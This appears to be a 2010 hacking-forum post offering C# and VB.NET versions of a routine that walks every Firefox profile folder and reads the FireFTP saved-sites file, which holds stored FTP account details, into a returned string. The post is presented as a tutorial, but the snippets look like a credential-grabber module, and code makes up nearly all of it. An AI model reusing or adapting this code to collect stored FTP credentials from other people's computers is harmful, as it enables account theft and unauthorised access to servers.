May 1, 2010 04:23 PM
(This post was last modified: May 1, 2010 06:26 PM by codepoet.)
C#
originally written by: RuE
------------------------------------
Full code
originally written by: Me
VB.NET
originally written by: General Dee
Code
static string FireFTP()
{
//Coded by: Rue
try
{
string APPDATA = Paths.getPath(Paths.CSIDL_APPDATA);
string PROFILEPATH = APPDATA + “\\Mozilla\\Firefox\\Profiles\\”;
string[] PROFILES = Directory.GetDirectories(PROFILEPATH);
string accounts = string.Empty;
foreach (string profile in PROFILES)
{
StreamReader sr = new StreamReader(profile + “\\fireFTPsites.dat”);
accounts += sr.ReadToEnd() + “\n\n”;
sr.Close();
}
return “-FIREFTP——-\n\n” + accounts + “\n—————”;
}
catch { return null; }
}originally written by: RuE
------------------------------------
Full code
Code
[code]public string FireFTPRecovery()
{
string Accounts = null;
foreach (var Directory in My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\")) {
Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString + "\\fireFTPsites.dat") + Environment.NewLine;
}
return Accounts;
}
[/code]originally written by: Me
VB.NET
(May 1, 2010 06:15 PM)Mr Smith Wrote:CodeFunction FireFTPRecovery() As String
Dim Accounts As String
For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
Next
Return Accounts
End Function
originally written by: General Dee
If You Like this tutorial,
please check out my other tutorials by clicking ==> here
please check out my other tutorials by clicking ==> here
PHP & .NET Contributor.

